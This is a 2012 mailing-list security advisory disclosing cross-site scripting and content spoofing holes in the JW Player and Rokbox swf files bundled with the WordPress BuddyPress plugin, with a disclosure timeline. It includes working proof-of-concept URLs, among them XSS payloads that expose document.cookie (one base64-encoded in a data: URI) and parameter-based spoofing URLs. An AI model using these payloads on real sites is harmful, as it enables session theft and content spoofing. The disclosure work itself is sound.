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WordPress BuddyPress Cross Site Scripting / Content Spoofing

WordPress BuddyPress Cross Site Scripting / Content Spoofing
Posted Dec 21, 2012
Authored by MustLive

WordPress BuddyPress plugin suffers from cross site scripting and content spoofing vulnerabilities.

tags | exploit, spoof, vulnerability, xss
MD5 | f14318f875115e478d4d8c8f3fa31a13

WordPress BuddyPress Cross Site Scripting / Content Spoofing

Change Mirror Download
Hello list!

I want to warn you about multiple security vulnerabilities in plugin
BuddyPress for WordPress. I've disclosed vulnerabilities in JW Player in
June and August (including in commercial version JW Player Pro) and
disclosed vulnerabilities in Rokbox in December. And BuddyPress uses this
software, so it has the same vulnerabilities.

These are Content Spoofing and Cross-Site Scripting and vulnerabilities.
Different versions of BuddyPress use different versions of swf-files, but in
total we have such installations of BuddyPress: with JWPlayer 5.5.1641, with
JWPlayer 4.2.95, with Rokbox with JW Player 4.4.198 (in rt_affinity_wp
theme). There are small amount of web sites with these swf-files, so it can
be old versions or some rare versions of BuddyPress. There are many other
vulnerabilities in this WP plugin and later I'll write about them.

-------------------------
Affected products:
-------------------------

Vulnerable are versions of BuddyPress with JWPlayer or with Rokbox with
JWPlayer.

----------
Details:
----------

For JWPlayer 5.5.1641 the path is
http://site/wp-content/plugins/buddypress/bp-themes/bp-default/jwplayer/player.swf

For JWPlayer 4.2.95 the path is
http://site/wp-content/plugins/buddypress/bp-themes/file/player.swf

For JWPlayer 4.4.198 in theme rt_affinity_wp for BuddyPress (it's
third-party theme) the path is
http://site/wp-content/plugins/buddypress/bp-themes/rt_affinity_wp-bp12/js/rokbox/jwplayer/jwplayer.swf.

XSS (WASC-08):

http://site/wp-content/plugins/buddypress/bp-themes/bp-default/jwplayer/player.swf?playerready=alert(document.cookie)

In 5.x versions of JW Player there are this XSS and other vulnerabilities
(http://securityvulns.ru/docs28176.html). In 4.x versions of JW Player there
are only the next holes.

Content Spoofing (WASC-12):

In parameter file there can be set as video, as audio files.

Swf-file of JW Player accepts arbitrary addresses in parameters file and
image, which allows to spoof content of flash - i.e. by setting addresses of
video (audio) and/or image files from other site.

http://site/wp-content/plugins/buddypress/bp-themes/file/player.swf?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF
http://site/wp-content/plugins/buddypress/bp-themes/file/player.swf?file=1.flv&image=1.jpg

Content Spoofing (WASC-12):

Swf-file of JW Player accepts arbitrary addresses in parameter config, which
allows to spoof content of flash - i.e. by setting address of config file
from other site (parameters file and image in xml-file accept arbitrary
addresses). For loading of config file from other site it needs to have
crossdomain.xml.

http://site/wp-content/plugins/buddypress/bp-themes/file/player.swf?config=1.xml

1.xml

<config>
<file>1.flv</file>
<image>1.jpg</image>
</config>

Content Spoofing (WASC-12):

http://site/wp-content/plugins/buddypress/bp-themes/file/player.swf?abouttext=Player&aboutlink=http://site

XSS (WASC-08):

http://site/wp-content/plugins/buddypress/bp-themes/file/player.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

------------
Timeline:
------------

2012.05.29 - informed developers of JW Player.
2012.06.06 - disclosed at my site about JW Player.
2012.08.18 - informed developers about new holes in JW Player Pro.
2012.08.23 - disclosed at my site about JW Player Pro.
2012.08.28 - informed developers of Rokbox.
2012.12.14 - disclosed at my site about Rokbox.
2012.12.20 - disclosed to the lists about BuddyPress.

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

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